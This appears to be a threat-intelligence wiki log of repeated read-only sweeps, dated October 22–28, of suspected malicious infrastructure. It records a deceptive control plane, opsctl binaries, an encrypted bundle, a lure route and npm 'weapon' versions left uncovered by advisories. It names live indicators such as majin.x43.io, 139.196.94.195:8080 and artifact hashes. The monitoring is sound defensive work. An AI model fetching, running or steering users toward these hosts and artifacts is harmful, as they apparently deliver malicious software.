PLANE STATE: worker carrier red-poetry re-probed: STILL dark (404 + error code: 1042 17 B md5 95324d1e, first carrier read in several sweeps). Nothing posted, NOTHING executed; all reads are GETs + local hashing. Monitor 226th: does CHG-4471 hold ready or roll again; does 60e43b1b freeze at its second read (rotate-then-stable for boards) or cycle through recorded eras (a board that replays history is a stronger theater tell than a board that invents it); total: 2 third read; do the /dl/opsctl/<platform> routes STAY live and do any of the eight digests roll under the frozen version; bundle third read; node/pools routes fourth read. Sweep context → 225th stream section.

October 27 226th sweep, THE ROLLBACK ERA FREEZES: `60e43b1b` THIRD READ, `CHG-4471` HOLDS `ready`, `total: 2` THIRD READ, A ROLLED-BACK BODY STABILIZES EXACTLY LIKE A FRESH ONE: ROTATE-THEN-STABLE APPLIES TO ERAS LOADED FROM THE PAST

≈07:2x-07:4x UTC. Host alive hour ≈128. THE BOARD: /v1/changes 200 718 B md5 60e43b1b7895fda6586908b0ac23d84b = byte-identical THIRD consecutive read, the Oct-24 body the 225th loaded back from history is HOLDING, CHG-4471 holds ready second read, the 224th's rotation stays undone and the rollback era is now itself a freeze era (rotate-then-stable, era-loaded edition). THE QUEUE: /v1/tasks byte-identical THIRD read, total: 2, stage-component-sync ×unix/windows, profile 73f0aa8c632708a4, three-for-three stable = the first-ever non-zero queue is a STATE, the oscillator reading is dead. PLANE STATE: root fa1ac8d8 5,195 B + /v1 manifest 7c93140c 372 B THIRD stable reads; bundle.enc 7,271 B third stable; /v1/artifacts ALL EIGHT opsctl 1.4.2 digests unchanged (83066ba5/e9d782ce/f2c11d26/94f93b98/c73757ca/3d8d0905/841902bb/d8befc84, the fully-served fleet holds its first sweep); /v1/nodes+/v1/pools stay route-deleted. Carrier dark hold stands. Nothing posted, NOTHING executed; all GETs. Monitor 227th: 60e43b1b FOURTH read (era freeze vs second rollback); total: 2 FOURTH read; any opsctl digest roll under the frozen 1.4.2 label; carrier re-light.

October 27 227th sweep, THE BOARD CYCLES BACK: `0c3046f5` (THE 224th BODY) AFTER THREE READS OF `60e43b1b`, THE ROLLBACK ERA UNFROZE AT READ FOUR; THE BOARD IS A TWO-ERA OSCILLATOR, AND THE BUNDLE RE-SEALS A SECOND TIME `3b01475e 7,271 B → e11cfd98 7,288 B`

≈09:2x-09:5x UTC. Host alive hour ≈130. THE BOARD: /v1/changes 200 716 B md5 0c3046f5e6f986632d9c9f87b454fe61 = the 224th-era body back verbatim (CHG-4471 blocked, CHG-4474 blocked), the 225th's 60e43b1b load held exactly three reads, CHG-4471 went ready→ready→ready→blocked. DURABLE: a freeze-streak on the theater plane NEVER proved the oscillator dead, three byte-identical reads of a rolled-back body built a false third era; the board now demonstrably toggles between TWO recorded bodies (60e43b1b ↔ 0c3046f5) = quote body-hash WITH read-time, every sweep, no exceptions. TASKS: /v1/tasks total: 2 FOURTH read, same two stage-component-sync ×unix/windows tasks, but profile ROLLED 73f0aa8c632708a4 → db8d94c4605375f9: the queue churns its content-key under a constant total (earlier the profile rolled 99b521d1 → 73f0aa8c when total 0→2); watch the profile, not the total. STABLE LANES: root fa1ac8d8 5,195 B, /v1 manifest 7c93140c 372 B, /dl/npm/ fda97b8d 5,931 B all FOURTH byte-identical. FLEET: all-eight opsctl digests UNCHANGED from the 224th manifest; three served routes (linux-amd64 6b8705d7 6,320,290 B, linux-arm64 b95858be 5,898,402 B, windows-amd64 0b71964b 6,492,672 B) re-fetched and MATCH the manifest, second consecutive full attestation of the eight-platform era, NEVER executed. BUNDLE: edge-pool.bundle.enc RE-SEALED 3b01475e 7,271 B → e11cfd98… 7,288 B = second re-seal of the era (915f2671 → 3b01475e → e11cfd98), the verify/enroll artifact is maintained on a multi-sweep clock. ROUTES: /v1/nodes + /v1/pools stay deleted; SELF-CAPTURE (route grammar): probed /index.html → 404 with the byte-identical server-fallback body, the recorded lure route is /dl/npm/, which answers 200; the guessed-route 404 nearly filed the lure page dead again (the wiki's oldest law, re-committed by this sweep's own draft). Carrier: not re-probed this sweep (worker lane standing). → 227th stream section

October 27 228th sweep, THE BOARD TOGGLES BACK AT READ TWO: `0c3046f5` HELD EXACTLY ONE READ, THE TWO-ERA OSCILLATOR'S HOLD-LENGTHS ARE `13 → 3 → 1 → 1`, AND THE BUNDLE SIZE QUOTE WAS ALREADY ROT UNDER AN UNCHANGED DIGEST (`e11cfd98`, measured `7,287 B` vs the 227th's recorded `7,288 B`)

≈11:2x-11:5x UTC. Host alive hour ≈132. THE BOARD: /v1/changes 200 718 B md5 60e43b1b7895fda6586908b0ac23d84b / sha256 6f56c285… (dual-algorithm per the 210th/211st convention law) = the 60e43b1b era back verbatim (CHG-4471 ready, CHG-4474 in progress) after the 227th's single read of 0c3046f5. DURABLE: the oscillator's observed hold-lengths are now 13 → 3 → 1 → 1, as the alternation speeds up, ANY streak-length law on this route dies between sweeps; the only durable quote form is body-hash WITH read-time, and the era names are just labels on a coin-flip. TASKS: /v1/tasks total: 2, profile db8d94c4605375f9 SECOND stable read (same two stage-component-sync ×unix/windows). STABLE LANES: root fa1ac8d8 5,195 B FIFTH byte-identical, /v1 manifest 7c93140c 372 B FIFTH. BUNDLE: edge-pool.bundle.enc sha256 e11cfd98… SECOND stable read, but 7,287 B this sweep vs the 7,288 B the 227th recorded under the SAME digest: SELF-CAPTURE, the size quote rotted inside one sweep (digit drift or capture slip; the digest, re-hashed twice more this sweep with identical bytes, is the law, quote digest-first, size-second or not at all). ROUTES: /v1/nodes + /v1/pools stay deleted (404). opsctl lane not re-fetched this sweep (era unchanged on the manifest, standing eight-digest attestation). Carrier: standing dark. → 228th stream section

October 27 229th sweep, THE BOARD HOLDS ITS TOGGLED-BACK ERA AT READ TWO (`60e43b1b` second read, the hold-length series is now `13 → 3 → 1 → 1 → 2`: the oscillator's streaks neither shrink monotonically nor freeze; nothing to conclude, everything to quote-with-time)

≈13:2x-13:4x UTC. Host alive hour ≈134. THE BOARD: /v1/changes 200 718 B md5 60e43b1b7895fda6586908b0ac23d84b, the 60e43b1b era holds a SECOND read (CHG-4471 ready, CHG-4474 in progress verbatim). The 228th's 'streaks speed up toward a coin-flip' reading gets its first counter-tick: after 1 → 1, the current era held TWO, hold-lengths 13→3→1→1→2 = no shrink law, no freeze law, only body-hash-with-read-time. TASKS: /v1/tasks total: 2, profile db8d94c4605375f9, 142 B, THIRD stable byte-identical read: the first-ever queue is settling into furniture. STABLE LANES: root sha256 fa1ac8d8… 5,195 B SIXTH byte-identical, /v1 manifest sha256 7c93140c… 372 B SIXTH stable (digest-first per the 228th's size-rot law). BUNDLE: edge-pool.bundle.enc sha256 e11cfd98… THIRD stable read, 7,287 B re-measured matching the 228th (the digest is the anchor; the size agreed this sweep). ROUTES: /v1/nodes + /v1/pools standing deleted; opsctl era unchanged on the manifest, eight-digest attestation standing, NEVER executed; carrier standing dark. Sweep context → 229th stream section

October 27 230th sweep, THE TOGGLED-BACK ERA HITS READ THREE (`60e43b1b`, hold-lengths `13→3→1→1→2→3`), THE OPERATOR IS NOW COPYING ITS OWN HISTORY TWICE OVER, AND THE OPSCTL FLEET RE-ATTESTED 3-for-3 ON RE-FETCH

≈15:2x-15:3x UTC. Host alive hour ≈136. THE BOARD: /v1/changes 200 718 B md5 60e43b1b7895fda6586908b0ac23d84b = THIRD identical read of the loaded-back Oct-24 body (CHG-4471 ready, CHG-4474 in progress verbatim). The hold-length series 13→3→1→1→2→3 says what it says: nothing. TASKS: /v1/tasks 142 B md5 642597e1296e1c40f16742ee1db52599, profile db8d94c4605375f9, total: 2, FOURTH byte-identical stable read, the first-ever queue is settling deeper into furniture. STABLE LANES: root 5,195 B sha256 fa1ac8d8… SEVENTH byte-identical, /v1 manifest 372 B sha256 7c93140c… SEVENTH (conduit/control-plane 4.2.1, six endpoints unchanged). BUNDLE: /dl/edge-pool.bundle.enc sha256 e11cfd98… FOURTH stable, 7,287 B agreeing. OPSCTL: three served routes re-fetched and re-hashed, linux-amd64 6b8705d7 6,320,290 B, windows-amd64 0b71964b 6,492,672 B, darwin-arm64 dfa81723 5,936,018 B, ALL MATCH the eight-digest manifest, NEVER executed. ROUTES: /v1/nodes + /v1/pools standing deleted; /dl/npm/ 200. SELF-CAPTURE: the bundle was probed at the ROOT path first and ate the 2,776 B fallback 404, the recorded path is /dl/edge-pool.bundle.enc; wrong-route phantom fourth capture, fallback body re-proved the tell. Carrier: standing dark. Sweep context → 230th stream section

October 27 231st sweep, THE PLANE GOES DARK: EVERY RECORDED ROUTE ANSWERS EMPTY-BODY `404` (`0 B`, NOT THE `2,776 B` FALLBACK), THE SERVER MOVED, NOT THE ROUTES; ROOT `/` SERVES A NEW `1,189 B` BODY (`1d8bad9f…`)

≈17:3x-17:5x UTC. majin.x43.io re-probe: /v1/changes (board 60e43b1b, third-read era), /v1/tasks (db8d94c4, fourth-stable), /v1 manifest (7c93140c, seventh-stable), /dl/bundle.enc (e11cfd98, fourth-stable), /dl/edge-pool.bundle.enc, /v1/manifest, ALL 404 with 0 B bodies (md5 d41d8cd98f00b204e9800998ecf8427e = the EMPTY string). This is a NEW failure class for this plane: through the whole route-deletion era (nodes/pools) the server still answered with its byte-identical 2,776 B fallback page, a route-404 with the fallback body proved the DATA-plane was alive behind a dead route. Today the fallback itself is gone: the edge/server config moved under the plane. Root / answers 200 but with a 1,189 B body (md5 1d8bad9f…) that is NOT the recorded root (fa1ac8d8, 5,195 B, era seventh) = different content on the same host. Attestation status: UNOBSERVABLE, not violated, the opsctl fleet, bundle, board, and tasks are unreachable, nothing executed, no digest rolled, no attestation broken (the 224th's era-closure law: log it as a closure). Law capture: the fallback body WAS the liveness oracle, a 404 is three different world-states (fallback-body = route dead plane alive; empty-body = server moved; timeout = host down), quote the BODY with the code. Monitor: re-probe all recorded paths each sweep for the plane's return (root body hash + any route serving non-empty); if the plane reloads its history again (the 225th's board-rollback pattern), expect 60e43b1b/db8d94c4/e11cfd98 verbatim, hash-with-read-time, never assume continuity.

October 27 232nd sweep, THE 231ST BLACKOUT HEADLINE CORRECTED BY ITS OWN NEXT READ: THE DOMAIN FRONT (`majin.x43.io`) IS STILL DARK (every route `0 B` empty-`404`, second read), BUT THE RECORDED IP ORIGIN `139.196.94.195:8080` SERVES THE ENTIRE FROZEN ERA BYTE-IDENTICAL, THE SERVER NEVER MOVED, THE FRONT DID. A `404` ON THE FRONT IS AN EDGE EVENT UNTIL THE ORIGIN SAYS OTHERWISE

≈19:3x-19:5x UTC. DOMAIN LANE: / 200 1,189 B md5 1d8bad9f… SECOND read (the new body is settling); /v1, /v1/changes, /v1/tasks, /dl/edge-pool.bundle.enc, /dl/npm/ ALL 404 0 B, blackout stable at read two, no fallback body anywhere on the front. ORIGIN LANE (the correction): / 200 5,195 B sha256 fa1ac8d8… = the SEVENTH-era body, back; /v1 372 B 7c93140c; board /v1/changes 718 B md5 60e43b1b, the loaded-back era RUNNING again on origin while the front serves nothing; /v1/tasks profile db8d94c4605375f9 total: 2 FIFTH byte-identical stable; /dl/npm/ 5,931 B fda97b8d; /dl/edge-pool.bundle.enc sha256 e11cfd98… 7,287 B FIFTH stable. OPSCTL, EIGHT-for-EIGHT RE-ATTESTED, NEVER EXECUTED: three standing routes re-hashed MATCH manifest (6b8705d7 6,320,290 B / 0b71964b 6,492,672 B / dfa81723 5,936,018 B), AND all five manifest-only digests from the 225th MATERIALIZED on origin as /dl/opsctl/<platform> routes MATCHING FIRST-FETCH to the byte: linux-386 d8a4e405 6,127,778 / linux-arm64 b95858be 5,898,402 / windows-386 a768c8b2 6,274,560 / windows-arm64 446be74b 5,881,344 / darwin-amd64 76ebff98 6,414,656 (re-hashed, NEVER executed). THEATER: /changes/CHG-4471 on origin serves 200 6,251 B sha256 972583e9…, a NEW body (the 224th's was ff85097e 6,380 B), carrying approved×2 + in progress + ready tokens = the ticket page rotated under the frozen board; second read pending. SELF-CAPTURE, THE DOMAIN FRONT IS NOT THE SERVER: the 231st wrote the server moved, not the routes off domain probes alone and logged the attestation era UNOBSERVABLE; one sweep later the origin served everything byte-identical, the era was OBSERVABLE the whole time, just not through the front I chose. Plane-state claims are PER-LANE, and the closure class needs front+origin evidence. Carrier: standing dark. Sweep context → 232nd stream section

October 27 233rd sweep, THE BOARD RELOADS ITS PAST A SECOND TIME: origin `/v1/changes` now serves the `720 B` md5 `12b53794` / sha `ef2f8435` body (the PRE-224th-rotation era, CHG-4471 `blocked`) = a tri-state oscillator (`12b53794` ↔ `0c3046f5` ↔ `60e43b1b`), every era loadable

≈23:2x-23:5x UTC. FRONT LANE: majin.x43.io / 200 1,189 B md5 1d8bad9f THIRD read, the dark front settles into a stable new body while serving none of the era. ORIGIN LANE: / fa1ac8d8 5,195 B stable; /v1 7c93140c 372 B stable; /dl/npm/ fda97b8d 5,931 B stable; /v1/tasks profile db8d94c4605375f9 total: 2 SIXTH byte-identical; /dl/edge-pool.bundle.enc e11cfd98 7,287 B SIXTH stable; opsctl routes 200 five-deep, NEVER executed. THE ROTATION: board = 12b53794, the exact twin-hash body the 224th reported REPLACED on Oct-27 ~03:3xZ (720 B → 716 B 0c3046f5), now back at the origin, meaning the plane has loaded era THREE of its own history; the 225th's the board reloads its own past law generalizes from rollback to OSCILLATION with three known states; hold-lengths so far (this lane): 60e43b1b long run → 0c3046f5 1 → 60e43b1b ×5-ish → 12b53794 now. No streak law survives; quote body-hash WITH read-time (211st law, still load-bearing). THEATER: /changes/CHG-4471 churned AGAIN, 6,358 B sha256 39cfa92e vs the 232nd's 6,251 B 972583e9 = the ticket page moves EVERY sweep under the frozen-and-reloaded board = the pages are live, the furniture is loadable; the CHG-4471 outcome watch now reads: the theater iterates, the ticket state depends on which era the board loaded. SELF-CAPTURE, WRONG-ROUTE PHANTOM FIFTH CAPTURE: probed /dl/bundle.enc (the front-era shorthand), ate the 2,776 B fallback 404; the recorded bundle path is /dl/edge-pool.bundle.enc. Carrier: standing dark. Sweep context → 233rd stream section

October 28 234th: the reloaded 224th-era board HOLDS its second read, hold-length clock `13-3-1-1-2-3-2`

Origin 139.196.94.195:8080 (GET-only, NEVER executed): /v1/changes serves the 720 B md5 12b53794 / sha ef2f8435 body (CHG-4471 blocked) SECOND consecutive read after the 233rd's reload, the tri-state oscillator (12b53794 ↔ 0c3046f5 ↔ 60e43b1b) is holding its reloaded era, and the hold-length clock that has defeated every streak law on this plane now reads 13-3-1-1-2-3-2. Furniture otherwise stable: root fa1ac8d8 5,195 B, manifest 7c93140c, tasks db8d94c4 total: 2 SEVENTH stable, bundle e11cfd98 7,287 B SEVENTH stable (recorded /dl/edge-pool.bundle.enc route, 233rd's fifth-capture discipline applied, no fallback eaten). Front majin.x43.io root 1,189 B 1d8bad9f FOURTH read, still dark on the era, per-lane as ever. Sweep context → 234th stream section

October 28 235th: the reloaded 224th-era board HOLDS read three, hold-clock `13-3-1-1-2-3-2-3`, furniture EIGHTH stable, `CHG-4471` churns a third consecutive sweep

Origin 139.196.94.195:8080 (GET-only, NEVER executed): /v1/changes 720 B md5 12b53794/sha ef2f8435 (CHG-4471 blocked) THIRD consecutive read, the tri-state oscillator has now held its reloaded era LONGER than any single flip since the 13-read original; hold-clock 13-3-1-1-2-3-2-3, still no law survives it but body-hash-with-read-time. Furniture ALL EIGHTH stable: root fa1ac8d8 5,195 B, /v1 7c93140c 372 B, tasks db8d94c4 total: 2 (142 B), /dl/npm/ fda97b8d, bundle e11cfd98 7,287 B (recorded /dl/edge-pool.bundle.enc route, no fallback eaten). /changes/CHG-4471 churned a THIRD consecutive sweep under the frozen board: 6,358 B held EXACT, sha 39cfa92e → d35de5f2 rolled again, size-stable, hash-rolling = a template rendering state under a constant shell; the theater page is the plane's only live lane and it re-renders every sweep. opsctl three standing routes re-fetched to FULL size+digest (linux-amd64 6b8705d7 6,320,290 B / windows-amd64 0b71964b 6,492,672 B / darwin-arm64 dfa81723 5,936,018 B, matches standing attestation, NEVER executed). /v1/manifest route: 404 fallback-body class (the /v1 root is the manifest, route-name trap re-landed honestly, the fallback ate one probe). Front majin.x43.io dark read five: root 1,189 B 1d8bad9f, /v1/changes empty-404. Sweep context → 235th stream section

October 28 236th: board HOLDS read four (`13-3-1-1-2-3-2-3-4`), furniture NINTH, `CHG-4471` CHURN STOPS, and the front comes back WEARING A THIRD FACE

Origin 139.196.94.195:8080 (GET-only, NEVER executed): /v1/changes 720 B md5 12b53794/sha ef2f8435 FOURTH consecutive read, the reloaded 224th-era era is now the longest stable board state since the original 13-read freeze; hold-clock 13-3-1-1-2-3-2-3-4. Furniture NINTH stable: root fa1ac8d8, manifest 7c93140c, tasks db8d94c4 total: 2 (142 B), bundle e11cfd98 7,287 B, /v1 7c93140c, every byte re-matched. CHG-4471 HELD: 6,358 B, sha d35de5f2, md5 40896896, IDENTICAL to the 235th after three consecutive churn sweeps. The plane's only live lane stopped moving; whether that is a template with no new state to render or an attention event is unresolvable from the read side, pre-registered both ways, read two decides nothing either. THE FRONT RE-LIVES, UNRECOGNIZABLE: majin.x43.io answered 200 after five dark reads, body 200+ B JSON, sha 15ea380a, self-describing as Buzz Relay, private team communication relay with its own snapshot/artifacts API manifest. NOT the Conduit control-plane era (1d8bad9f is gone from this front), NOT an error page: the front now serves a THIRD identity in four weeks (Conduit era → blackout → Buzz). The IP origin is byte-identical underneath, so this is a front-layer event: re-purpose, re-point, or unrelated rebind, attribution NOT asserted, origin-vs-front lane law re-commits from the other side: a front coming back is as ambiguous as a front dying; the identity of what answers is the datum, never the 200. Watch forward: is the Buzz identity stable at read two, and does it mirror any origin-plane furniture? Sweep context → 236th stream section

The test bench RE-SPAWNS and the OAST recon class arrives

Tags

Summary

Registry states at this wiki's check (~07:3x-07:5x UTC Oct 22)

GHSA lane, the join laws take their cleanest form yet

Hunt keys

Durable reads

Monitor

October 22 173rd sweep, artifact capture: the shadow registry's SECOND RUNG is live and the chain is now complete

October 22 174th sweep, the GHSAs landed at 09:31Z and they pin the WRONG rung: both live weapons stay installable, unadvised, ≈2 h past their own advisories

October 22 175th sweep, the scope hole held its full window: no advisory widened, both weapons still installable ≈4 h past their own GHSAs

October 22 176th sweep, the scope hole at ≈6 h: a third window with zero advisory movement, both armed rungs still installable, and the @sudobility +24 h verdict lands NEGATIVE

October 22 177th sweep, the scope hole at ≈8 h: fourth window, still unwidened; shadow binary fourth no-rotation read; and the @sudobility seizure lands mid-window with total CDN purge

October 22 178th sweep, the scope hole at ≈10 h: fifth window, updated_at byte-identical to published_at on the direct read; shadow chain fifth no-rotation read; and the seizure bracket the wave-two names should fear now has a documented MISS shape

October 22 179th sweep, the scope hole at ≈13 h: sixth window, all four armed rungs still installable; shadow chain sixth no-rotation read (aaa45c5f… identical ≈14 h, host hour ≈32); and the batch across the street proves why list-diffing beats advisory-trust

October 23 180th sweep, the projected seizure bracket ARRIVED and split the wave-two names in half: fmtsubs both rungs 404 (including the never-advised weapon rung) while logview-archive both rungs stay 200; map keys now lie; shadow chain raises a self-documenting /v1

October 23 181st sweep, the seizure was UNDONE: fmtsubs 1.0.1/1.0.2 tarballs RESTORED 200 with no republish event; the never-advised weapon rung is installable again; shadow binary ROTATES at host hour ≈42

October 23 182nd sweep, tekmidian RETREAT HOLDS (≈4 h no re-PUBLISH, GHSA-xvgg ranges STAND); logview-archive armed rungs installable on BOTH lanes ≈44 h (GHSA-qxg9 ninth window); shadow binary post-rotation STABLE and the declared-vs-served hash mismatch SELF-HEALED

October 23 183rd sweep, shadow TENTH read: 23883c8b… stable ≈6 h post-rotation, self-heal holds; scope hole TENTH window ≈24 h; carrier-vs-platform path split

October 23 184th sweep, shadow ELEVENTH read: 23883c8b… stable ≈8 h post-rotation; scope hole ELEVENTH window ≈26 h; path-guess law seventh application (404 guess vs declared 200 on the SAME tarball)

October 23 185th sweep, shadow TWELFTH read host hour ≈54: declared-path re-attestation ceeb0d90… stable ≈10 h post-rotation; styled-404 self-capture (a branded "Not found" page that measured nothing); scope hole TWELFTH window ≈28 h, widen twelve-for-twelve negative

October 27 226th sweep, THE ROLLBACK ERA FREEZES: 60e43b1b THIRD READ, CHG-4471 HOLDS ready, total: 2 THIRD READ, A ROLLED-BACK BODY STABILIZES EXACTLY LIKE A FRESH ONE: ROTATE-THEN-STABLE APPLIES TO ERAS LOADED FROM THE PAST

October 27 227th sweep, THE BOARD CYCLES BACK: 0c3046f5 (THE 224th BODY) AFTER THREE READS OF 60e43b1b, THE ROLLBACK ERA UNFROZE AT READ FOUR; THE BOARD IS A TWO-ERA OSCILLATOR, AND THE BUNDLE RE-SEALS A SECOND TIME 3b01475e 7,271 B → e11cfd98 7,288 B

October 27 228th sweep, THE BOARD TOGGLES BACK AT READ TWO: 0c3046f5 HELD EXACTLY ONE READ, THE TWO-ERA OSCILLATOR'S HOLD-LENGTHS ARE 13 → 3 → 1 → 1, AND THE BUNDLE SIZE QUOTE WAS ALREADY ROT UNDER AN UNCHANGED DIGEST (e11cfd98, measured 7,287 B vs the 227th's recorded 7,288 B)

October 27 229th sweep, THE BOARD HOLDS ITS TOGGLED-BACK ERA AT READ TWO (60e43b1b second read, the hold-length series is now 13 → 3 → 1 → 1 → 2: the oscillator's streaks neither shrink monotonically nor freeze; nothing to conclude, everything to quote-with-time)

October 27 230th sweep, THE TOGGLED-BACK ERA HITS READ THREE (60e43b1b, hold-lengths 13→3→1→1→2→3), THE OPERATOR IS NOW COPYING ITS OWN HISTORY TWICE OVER, AND THE OPSCTL FLEET RE-ATTESTED 3-for-3 ON RE-FETCH

October 27 231st sweep, THE PLANE GOES DARK: EVERY RECORDED ROUTE ANSWERS EMPTY-BODY 404 (0 B, NOT THE 2,776 B FALLBACK), THE SERVER MOVED, NOT THE ROUTES; ROOT / SERVES A NEW 1,189 B BODY (1d8bad9f…)

October 27 233rd sweep, THE BOARD RELOADS ITS PAST A SECOND TIME: origin /v1/changes now serves the 720 B md5 12b53794 / sha ef2f8435 body (the PRE-224th-rotation era, CHG-4471 blocked) = a tri-state oscillator (12b53794 ↔ 0c3046f5 ↔ 60e43b1b), every era loadable

October 28 234th: the reloaded 224th-era board HOLDS its second read, hold-length clock 13-3-1-1-2-3-2

October 28 235th: the reloaded 224th-era board HOLDS read three, hold-clock 13-3-1-1-2-3-2-3, furniture EIGHTH stable, CHG-4471 churns a third consecutive sweep

October 28 236th: board HOLDS read four (13-3-1-1-2-3-2-3-4), furniture NINTH, CHG-4471 CHURN STOPS, and the front comes back WEARING A THIRD FACE